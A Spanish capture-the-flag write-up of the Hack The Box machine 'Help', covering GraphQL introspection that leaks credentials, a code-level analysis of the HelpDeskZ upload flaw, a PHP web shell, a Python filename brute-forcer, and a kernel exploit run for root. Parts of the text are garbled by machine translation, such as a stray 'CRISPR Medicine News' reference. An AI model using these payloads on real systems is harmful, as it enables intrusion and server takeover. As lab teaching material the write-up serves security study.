tutoriales

Tutorial de ayuda de HTB: GraphQL y carga de archivos HelpDeskZ

Tutorial de ayuda de HTB: GraphQL y carga de archivos HelpDeskZ

Análisis completo de Hack The Box: Help. Enumeración GraphQL, elusión de la carga de archivos a HelpDeskZ con análisis de código PHP vulnerable, ascenso de privilegios del kernel a root.

  • Publicado el 29 de octubre de 2026
  • Tiempo de lectura: 8 minutos

Tutorial de ayuda de HTB: Introspección de GraphQL y omisión de la carga de archivos en HelpDeskZ #

Dificultad: Fácil Técnicas cubiertas: Introspección de GraphQL, omisión de carga de archivos (HelpDeskZ CVE), análisis de código PHP, explotación de privilegios del kernel

Help es una herramienta "fácil" de Hack The Box que enseña una lección fundamental: comprender por qué existe una vulnerabilidad es más importante que saber cómo explotarla con una herramienta. En esta guía, analizamos el código PHP vulnerable línea por línea, diseñada específicamente para quienes se inician en la programación y la seguridad ofensiva.

Reconocimiento #

Un escaneo clásico de nmap revela tres puertos:

golpear
nmap -sC -sV -p 22,80,3000 10.10.10.121
envíenos mensaje de texto
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu
80/tcp   open  http    Apache httpd 2.4.18
3000/tcp open  http    Node.js Express framework

El puerto 80 aloja la página predeterminada de Apache, que a primera vista no resulta muy interesante. gobuster revela sin embargo /support, un ejemplo de HelpDeskZSoftware de venta de entradas de código abierto con una vulnerabilidad conocida Subir archivo .

El puerto 3000 es más inusual: responde con X-Powered-By: Express (Marco de trabajo Node.js) y un mensaje JSON que te dice que “encuentres las credenciales con la consulta correcta”. No es un servidor web tradicional, es unAPIy la sugerencia sobre la “consulta” hace pensar en GraphQL , un lenguaje de consulta de API cada vez más popular (utilizado por GitHub, Shopify y Yelp, entre otros). Intentemos visitar /graphql—responde él—. La primera mitad del ataque comienza aquí.

Parte 1: Enumerar la API GraphQL #

¿Qué es GraphQL, en dos líneas? #

A diferencia de una API REST clásica, donde cada recurso tiene su propio punto final fijo (/api/users, /api/posts) — GraphQL expone un único punto final (de solo /graphql). Usted especifica exactamente qué campos desea recibir en la solicitud: componga la consulta como un formulario personalizado, en lugar de ir a una "oficina" predefinida y fija para cada tipo de datos.

La ventaja para un atacante: si la API tiene laintrospección activo (a menudo se deja activado por error incluso en producción), puede preguntar directamente al esquema "¿qué campos existen?", sin tener que adivinar nada. Es efectivamente el equivalente a un SHOW TABLES Para una API: primero mapea la estructura, luego consulta solo lo que necesitas. Para una discusión completa de los mecanismos de ataque de GraphQL, consulta Hoja de referencia rápida de GraphQL PortSwigger Sigue siendo uno de los recursos más completos disponibles.

Paso 1 — Consulta de introspección #

golpear
curl -s -X POST "http://10.10.10.121:3000/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { name fields { name } } } } }"}'

Respuesta:

json
{"data":{"__schema":{"queryType":{"name":"Query","fields":[{"name":"user","description":""}]}}}}

El diagrama nos indica que hay un campo user bajo Query. Todo lo que empieza con un doble guion bajo (__Schema, __Type, __EnumValue…) forma parte de la especificación estándar de GraphQL; existe de forma idéntica en todas las API de GraphQL del mundo; no es específica de esta máquina. Debe ignorarse.

Paso 2 — ¿Qué campos tiene? User? #

golpear
curl -s -X POST "http://10.10.10.121:3000/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __type(name: \"User\") { name fields { name } } }"}'
json
{"data":{"__type":{"name":"User","fields":[{"name":"username"},{"name":"password"}]}}}

Paso 3: Obtengamos los datos reales. #

golpear
curl -s -X POST "http://10.10.10.121:3000/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user { username password } }"}'
json
{"data":{"user":{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}}}

Descifrados de hash MD5 en crackstation.net en unos segundos: godhelpmeplz.

Nota para principiantes: introspección, __schema, __type son mecanismos interior de GraphQL, presente en cada instalación. La parte “personalizada” de la aplicación —la que varía de un sitio a otro— es solo el tipo User con sus dos campos. El resto es ruido sistémico que debemos aprender a reconocer y descartar.

Parte 2: La vulnerabilidad HelpDeskZ: análisis del código #

Aquí está la parte más instructiva de la máquina. En lugar de simplemente lanzar un exploit público, veamos qué falla en el código fuente de HelpDeskZ v1.0.2 (disponible públicamente en GitHub, al ser de código abierto). La vulnerabilidad también está documentada en Exploit-DB (EDB-ID 40300).

El error en una oración #

El archivo se guarda en el servidor ANTES de que se realice la comprobación de seguridad; y si la comprobación falla, nadie lo elimina.

Línea por línea #

El código está en controllers/submit_ticket_controller.php:

php
$uploaddir = UPLOAD_DIR.'tickets/';
if($_FILES['attachment']['error'] == 0){
    $ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
    $filename = md5($_FILES['attachment']['name'].time()).".".$ext;
    $uploadedfile = $uploaddir.$filename;

    if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {
        $error_msg = $LANG['ERROR_UPLOADING_A_FILE'];
    } else {
        $fileverification = verifyAttachment($_FILES['attachment']);
        switch($fileverification['msg_code']){
            case '1': $error_msg = $LANG['INVALID_FILE_EXTENSION']; break;
            case '2': $error_msg = $LANG['FILE_NOT_ALLOWED']; break;
            case '3': $error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']); break;
        }
    }
}

Línea 1-2: $uploaddir es la carpeta de destino (uploads/tickets/). El código solo comprueba que la carga HTTP no haya tenido ningún error de transporte ($_FILES['attachment']['error'] == 0) — ni la extensión, ni el contenido.

Líneas 3-5 : Aquí es donde se genera el nombre de archivo final.

php
$ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;

pathinfo(..., PATHINFO_EXTENSION) extrae la extensión del nombre original (shell.php → php).

En la línea de abajo, el punto . En PHP no es un separador decimal ni un punto: es eloperador de concatenación, es decir, pegar dos cuerdas juntas. Así que $_FILES['attachment']['name'].time() toma el nombre del archivo ("shell.php") y nos ataca justo después del tiempo del servidor en segundos (por ejemplo, 1785280763), produciendo una cadena única como "shell.php1785280763"Esta cadena luego pasa dentro md5(...), lo que lo convierte en el hash final; ese será el nombre real del archivo guardado en el servidor, con la extensión original añadida al final.

Este es ya el primer problema de diseño: time() No es una coincidencia, es previsibleCualquiera que conozca (aunque sea aproximadamente) la hora del servidor y el nombre del archivo subido puede recalcular el mismo hash.

Línea 7: el corazón del error:

php
if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {

Detengámonos aquí un momento, porque es la línea que marca la diferencia entre un "sitio seguro" y un "sitio pirateado".

move_uploaded_file() Es una función PHP que hace una sola cosa: mueve el archivo de su ubicación temporal a la carpeta final. Si el movimiento es exitoso, devuelve trueSi falla (permisos incorrectos, disco lleno), devuelve false.

El punto ! Delante de ella está el operador NOT: convierte un valor verdadero en uno falso y viceversa. Piensa en un amigo que siempre dice lo contrario de lo que realmente piensa: si piensa "sí", dice "no"; si piensa "no", dice "sí". ! funciona exactamente así en true/false.

Entonces !move_uploaded_file(...) se convierte en true solo cuando la jugada falla. En el caso normal, el archivo se movió correctamente, ya sea .jpg o .php no importa — esto if è falsey el código salta directamente a laelse.

Este es el primer detalle a tener en cuenta: move_uploaded_file() Nunca tiene en cuenta la extensión del archivo. Mueve todo indiscriminadamente. La comprobación del tipo de archivo solo se realiza más tarde, en la rama. else.

Línea 9 — después, no antes:

php
$fileverification = verifyAttachment($_FILES['attachment']);

En este punto el archivo es ya guardado físicamente en el disco del servidor, en uploads/tickets/, con un nombre público accesible a través de una URL. Solo AHORA se llama verifyAttachment() para comprobar si ese archivo estaba bien.

Si el veredicto es negativo (por ejemplo, extensión) .php no está permitido), switch A continuación, simplemente se muestra un mensaje de error en la pantalla; no hay ninguna línea que diga "luego elimine el archivo". El archivo permanece ahí, sin hacer ruido, independientemente del resultado de la comprobación.

En resumen, el orden de las operaciones es el siguiente: 1) guardar el archivo → 2) comprobar si debería haberse guardado . El orden correcto sería justo el contrario: primero comprobar y, solo si la comprobación es correcta, guardar. Este cambio de prioridades es la causa del error.

Una última cosa sobre este bloque, el switch:

php
switch($fileverification['msg_code']){
    case '1': $error_msg = $LANG['INVALID_FILE_EXTENSION']; break;
    case '2': $error_msg = $LANG['FILE_NOT_ALLOWED']; break;
    case '3': $error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']); break;
}

uno switch Es simplemente una forma más legible de escribir mucho. if/elseif en una fila, cuando necesitas comparar la misma variable con tantos valores como sea posible. Aquí toma el código numérico devuelto por verifyAttachment() (msg_code) y decide qué mensaje de error mostrar — 1 para extensión malformada, 2 por extensión no está en la lista blanca, 3 para archivo demasiado grande. Tenga en cuenta: esto switch él trata solo para elegir el texto de error que se mostrará al usuario. Nunca modifica el archivo guardado en el disco; de acuerdo con lo anterior, nadie lo borra aquí.

La función de verificación #

php
function verifyAttachment($filename){
    global $db;
    $namepart = explode('.', $filename['name']);
    $totalparts = count($namepart)-1;
    $file_extension = $namepart[$totalparts];

    if(!ctype_alnum($file_extension)){
        $msg_code = 1;
    } else {
        $filetype = $db->fetchRow("SELECT count(id) AS total, size FROM ".TABLE_PREFIX."file_types WHERE type='".$db->real_escape_string($file_extension)."'");
        if($filetype['total'] == 0){
            $msg_code = 2;
        } elseif($filename['size'] > $filetype['size'] && $filetype['size'] > 0){
            $msg_code = 3;
        } else {
            $msg_code = 0;
        }
    }
    return array('msg_code' => $msg_code, 'msg_extra' => $misc);
}

Analicemos también este, pieza por pieza, porque ahí es donde se encuentra la lista blanca de extensiones permitidas.

php
$namepart = explode('.', $filename['name']);

explode('.', ...) romper una cuerda en una matriz (una lista con índices numerados desde 0) usando un punto como separador. Con "shell.php" En la entrada, el resultado es:

envíenos mensaje de texto
$namepart[0] = "shell"
$namepart[1] = "php"
php
$totalparts = count($namepart)-1;

count($namepart) contar cuántos elementos hay en el array: en este caso 2Hace 1 día 1 — es el índice de lapasado elemento de matriz (las matrices en PHP, como en casi todos los lenguajes, comienzan en 0, no en 1).

php
$file_extension = $namepart[$totalparts];

Esta línea no concatena nada: toma un solo elemento del array, el que está en el índice 1, Es decir, "php". Este truco (count()-1 (para tomar la última pieza) también funciona con nombres de archivo más complejos como "archivio.tar.gz"donde tomaría correctamente "gz" como una extensión, ignorando los puntos anteriores.

php
if(!ctype_alnum($file_extension)){
    $msg_code = 1;
}

ctype_alnum() comprueba si una cadena contiene solo letras y números, sin puntos, espacios ni caracteres extraños. Con ! delante (el mismo operador NOT que antes), elif Se activa cuando la extensión no Es alfanumérico limpio, útil para bloquear intentos como shell.ph.p o similar.

php
$filetype = $db->fetchRow("SELECT count(id) AS total, size FROM ".TABLE_PREFIX."file_types WHERE type='".$db->real_escape_string($file_extension)."'");

Aquí el código consulta el base de datos de CRISPR Medicine News, mesa file_types, buscando una línea donde type Coincide con la extensión encontrada. Nota: la lista de extensiones permitidas y los límites de tamaño máximo NO están escritos en el código PHP; se encuentran en la base de datos. El código simplemente los lee.

Si la consulta no encuentra ninguna fila (total == 0), la extensión no está en la lista blanca → msg_code = 2.

Sull 'elseif A continuación, tenga cuidado de no confundirse: aparecen dos valores diferentes, ambos llamados "tamaño", pero no son lo mismo.

php
elseif($filename['size'] > $filetype['size'] && $filetype['size'] > 0){
    $msg_code = 3;
}

$filename['size'] Eso es lo que pesa el archivo que acabas de subir (información tomada directamente de la carga HTTP). $filetype['size'] En cambio, es el límite máximo permitido para esa extensión, leído de la base de datos en la línea anterior. La comparación dice: "si mi archivo excede el límite permitido para ese tipo, Y ese límite no es 0 (0 = sin límite)" → entonces es demasiado grande, msg_code = 3De lo contrario → msg_code = 0Todo bien, no se encontraron problemas.

El punto clave: incluso en caso de msg_code = 1 o 2 (Error al guardar el archivo), la función solo devuelve un código de error. Ninguno unlink(), no se elimina. El archivo permanece ahí.

Parte 3: Explotando el error #

Sabiendo que el archivo .php El programa malicioso sigue guardado; solo necesitas encontrar su nombre (el hash MD5 es impredecible a simple vista, pero se puede reconstruir forzando las posibles marcas de tiempo).

  1. Usted crea un ticket adjuntando un shell web PHP mínimo:
php
<?php system($_REQUEST['cmd']); ?>
  1. El sitio responde con un error ("El archivo no está permitido"), pero el archivo aún se guarda en /support/uploads/tickets/.
  2. Un script realiza un ataque de fuerza bruta a posibles nombres, tratando de encontrar marcas de tiempo cercanas a la hora actual del servidor. Una nota práctica aquí: el día de esta prueba (29 de julio), las VPN de HTB en la UE estaban caídas, por lo que la conexión pasó por el servidor de EE. UU., una discrepancia horaria entre nuestro Kali y el servidor de la caja de más de una hora. Los exploits públicos que existen calculan la hora a partir de su reloj local (time.time()), lo que en esa situación dio resultados completamente erróneos.

La solución consistió en escribir un script que no confiara en absoluto en el reloj local, sino que leyera la hora directamente del encabezado HTTP. Date devuelto por el servidor en el preciso momento en que se inicia el script:

pitón
from urllib2 import urlopen
import hashlib, sys, email.utils

base_url = sys.argv[1]
file_name = sys.argv[2]

req = urlopen(base_url)
server_date = req.info().getheader('Date')
unixtime = int(email.utils.mktime_tz(email.utils.parsedate_tz(server_date)))

for offset in range(300):
    pre_encode = file_name + str(unixtime - offset)
    encoded = hashlib.md5(pre_encode).hexdigest()
    url = base_url + "/" + encoded + ".php"
    try:
        if urlopen(url).getcode() == 200:
            print "Found: " + url
            break
    except:
        pass

El punto clave es la línea unixtime = int(email.utils.mktime_tz(...)): toma el valor del encabezado Date (que es la hora real del servidor, siempre, independientemente de dónde te encuentres o qué VPN uses) y la convierte a una marca de tiempo Unix. A partir de ahí, el bucle intenta retroceder 300 segundos desde esa hora, no la nuestra. Esto hace que el script sea inmune a las diferencias horarias o a las VPN inestables.

  1. Una vez encontrada la URL, se puede acceder al intérprete de comandos web:
golpear
curl "http://10.10.10.121/support/uploads/tickets/<hash>.php?cmd=id"
# uid=1000(help) gid=1000(help) ...

Escalada de privilegios: ayuda → root #

golpear
uname -a
# Linux help 4.4.0-116-generic ... x86_64

La salida muestra un kernel de Linux 4.4; en una versión de este tipo, siempre conviene comprobar si existen escaladas de privilegios a nivel de kernel disponibles públicamente antes de buscar opciones más complejas. Herramientas como linux-exploit-suggester-2 Hacen exactamente eso: comparan la versión del kernel con una base de datos de CVE conocidos. En nuestro caso, surgen varios candidatos, entre ellos: CVE-2017-16995 (también conocido como “get_rekt”). Al compilarse y ejecutarse, el exploit explota una vulnerabilidad en el subsistema BPF del kernel para parchear directamente las credenciales del proceso actual:

golpear
gcc -o exploit 45010.c
./exploit
# [+] credentials patched, launching shell...
# id
# uid=0(root) gid=0(root) ...

Qué traer a casa #

La verdadera lección de esta máquina no es que "existe una vulnerabilidad pública en HelpDeskZ", sino que las comprobaciones de seguridad siempre deben realizarse ANTES de cualquier acción irreversible , nunca después. Guardar un archivo y luego decidir si es válido es un orden lógico inverso que, por sí solo, invalida cualquier lista blanca de extensiones, por muy bien escrita que esté.

Para quienes deseen profundizar en los mecanismos de ataque aquí descritos, HackTheBox y plataformas similares siguen siendo la mejor opción para practicar. En el resto del sitio, encontrarán guías dedicadas a ataques de carga de archivos , ataques de shell web , explotación de GraphQL , inyección SQL y recorrido de rutas.

#abejas #htb tutorial #Subir archivo

dejar un mensaje

No soy un robot